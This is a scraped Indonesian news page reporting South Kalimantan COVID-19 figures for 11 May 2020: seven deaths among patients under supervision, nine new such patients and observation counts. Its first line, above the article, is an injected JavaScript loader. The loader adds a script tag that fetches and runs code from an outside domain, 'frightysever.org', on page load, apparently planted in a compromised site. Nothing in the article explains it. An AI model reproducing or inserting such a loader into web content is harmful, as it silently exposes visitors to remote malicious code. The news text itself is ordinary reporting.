(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kota Banjarmasin

Jumlah PDP di Kalsel Fluktuatif, 7 PDP Meninggal dan Ada 9 PDP Baru


KANALKALIMANTAN.COM, BANJARMASIN – Selain adanya peningkatan kasus kematian akibat Covid-19, jumlah pasien dalam pengawasan (PDP) di Kalimantan Selatan mengalami fluktuatif.

Pada Senin (11/5/2020) sore, jumlah PDP tercatat berjumlah 54 pasien. Atau ada penambahan sebanyak tiga orang, jika dibanding hari sebelumnya sebanyak 51 pasien.

“Jumlah PDP dinamis, ada yang meninggal dunia dan kemudian juga ada beberapa yang bertambah baru,” kata Juru Bicara Tim Gugus Tugas P2 Covid-19 Kalsel Muhamad Muslim.

Lelaki yang juga menjabat sebagai Kepala Dinas Kesehatan Provinsi Kalsel ini mengungkapkan, ada tujuh PDP yang meninggal dunia. Di mana dua PDP yang meninggal dirawat di RSUD Ulin Banjarmasin yang berasal dari Kota Banjarmasin, satu PDP dari RSUD Sultan Suriansyah Banjarmasin.

Disusul dua PDP dirawat di RSUD Moch. Ansari Saleh Banjarmasin yang berdomisili di Kabupaten Baritokuala dan Kota Banjarmasin, serta 2 PDP yang menjalani karantina khusus.

Ketujuh PDP yang meninggal dunia adalah sebagai berikut:

1. MAS-31, laki-laki (59) asal Kabupaten Barito Kuala
2. MAS-33, laki-laki (65) asal Kota Banjarmasin
3. IMB-4, perempuan (31) asal Kota Banjarmasin, hasil PCR (polymerase chain reaction) terkonfirmasi negatif Covid-19
4. SS-5, perempuan (17) asal Kota Banjarmasin
5. Ulin-119 , laki-laki (50) asal Kota Banjarmasin
6. Ulin-97, laki-laki (49) asal Kota Banjarmasin
7. IMB-7, laki-laki (58) asal Kota Banjarmasin

“Enam kasus PDP yang meninggal di antaranya masih belum keluar hasil laboratorium PCR-nya,” pungkas Muslim.

Kendati tercatat tujuh PDP meninggal dunia, Muslim mengakui ada pula penambahan jumlah PDP sebanyak sembilan pasien. Dari jumlah tersebut, empat pasien berasal dari RSUD Ulin Banjarmasin yang semuanya berasal dari Kota Banjarmasin.

“Kemudian satu pasien di RSUD Moch Ansari Saleh Banjarmasin, juga dari Banjarmasin, dua pasien di RS Suaka Insan Banjarmasin yang juga berasal dari Banjarmasin, dan satu dirawat di RSUD Hasan Basry Kandangan dan satu pasien dirawat di RS Bhayangkara Banjarmasin,” papar Muslim.

Sementara itu, Muslim juga menambahkan, jumlah orang dalam pemantauan pada Senin (11/5/2020) sore tercatat ada 1.000 orang. Atau berkurang sebanyak 11 orang jika dibandingkan hari sebelumnya. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Dhani

 

style=”text-align: justify;”>


Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

14 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

14 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

16 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

18 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

18 jam ago

This website uses cookies.